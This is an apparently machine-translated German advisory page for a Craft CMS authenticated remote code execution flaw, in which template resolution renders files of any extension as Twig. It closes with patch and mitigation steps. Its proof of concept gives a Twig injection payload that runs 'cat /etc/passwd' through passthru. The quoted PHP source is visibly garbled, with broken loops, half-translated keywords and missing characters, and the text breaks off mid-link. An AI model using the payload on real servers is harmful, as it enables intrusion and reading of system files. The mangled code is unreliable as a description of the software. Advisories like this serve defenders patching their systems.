Remote Code Execution via unrestricted file extension
Beschreibung
### Summary Unrestricted file extension führt zu einer potenziellen Remote Code Execution (Authenticated, ALLOW ADMIN CHANGES=true) ### Details #### Vulnerability Cause : Wenn der Name-Parameterwert nicht leer string('') in der view.php's doesTemplateExist() ->solveTemplate() -> resolveTemplateInternal() -> resolveTemplate()-Funktion ist, gibt er direkt ohne Erweiterungsüberprüfung zurück, so dass beliebige Erweiterungsdateien als Zweigvorlagen gerendert werden (auch wenn es sich nicht um Erweiterungen handelt, die in defaultTemplateExtensions = ['html', 'twig']) ```php /*** Sucht nach Vorlagendateien und gibt die erste Übereinstimmung zurück, wenn es eine gibt. * * @param string $basePath Der Basispfad, um hineinzuschauen. * @param string $name Der Name der Vorlage, nach der gesucht werden soll. @param bool $publicOnly Ob Sie nur nach öffentlichen Vorlagen suchen (Vorlagenpfade, die nicht mit dem privaten Vorlagentrigger beginnen). * @return string|null Der passende Dateipfad, oder `null`. */ private Funktion resolveTemplate(string $basePath, string $name, bool $publicOnly): ?string { // Normalize the path and name $basePath = FileHelper::normalizePath($basePath); $name = trim(FileHelper::normalizePath($name), '/'); // $name could be a empty string (e.g. to load the homepage template) if ($name !== '') { if ($publicOnly && preg match(sprintf('/(^|\/)%s/', preg quote($this-> privateTemplateTrigger, '/')), $name) { return null; } Vielleicht ist $name bereits der vollständige Dateipfad $testPath = $basePath . DIRECTORY SEPARATOR . $name; if (is file($testPath)) { return $testPath; } foreach ($testPath = $basePath; } foreach ($this-> indexTemplateFilenames as $filename) { $testPath = $basePath . ($name !== '' ? DIRECTORY SEPARATOR . $filename .'' . $extension; if (is file($testPath) } ``` return null; } Wenn Angreifer mit Admin-Privilegien auf dem DEV oder falsch konfigurierten STG, PROD, diese Sicherheitsanfälligkeit für die Remote-Codeausführung ausnutzen können **(ALLOW ADMIN CHANGES=true)** ### PoC **Schritt 1)** Erstellen Sie ein neues Dateisystem. **Basispfad: /var/www/html/templates** **Schritt 2)** Erstellen Sie ein neues Asset-Volumen. **Asset Filesystem: template**  **Schritt 3)** Upload poc file(.txt , .js , .json , etc.) with twig template rce payload ```twig {{''}} {{'cat /etc/passwd')|map('passthru')|map('passthru')|join}} ```![5](https://user-images.githubusercontent.com/30969523/228051307-6
Quellen & weiterführende Informationen
Hier werden ausschließlich tatsächlich zu dieser Schwachstelle gespeicherte Quellenbelege angezeigt.
Was ist zur Behebung zu tun?
Auf eine behobene Version aktualisieren: 4.4.6.
Empfohlene Schritte
- Betroffene Systeme identifizieren: Pixel & Tonic Craft CMS.
- Exposition prüfen: Internet-Erreichbarkeit, Admin-Oberflächen, VPN, Mail- oder Webdienste.
- Update/Rollout auf behobene Version vorbereiten und priorisiert einspielen.
- Nacharbeiten dokumentieren: betroffene Assets, Maßnahme, Zeitpunkt, Restrestrisiko.
Übergangsmaßnahmen
- Zugriff auf betroffene Dienste auf vertrauenswürdige Netze einschränken.
- WAF/IDS/EDR-Regeln und Hersteller-IOCs aktivieren, sofern verfügbar.
- Nicht benötigte Funktionen, Plugins oder Dienste temporär deaktivieren.
- Administrative Zugänge besonders absichern: MFA, Passwortrotation, Session-Invalidierung.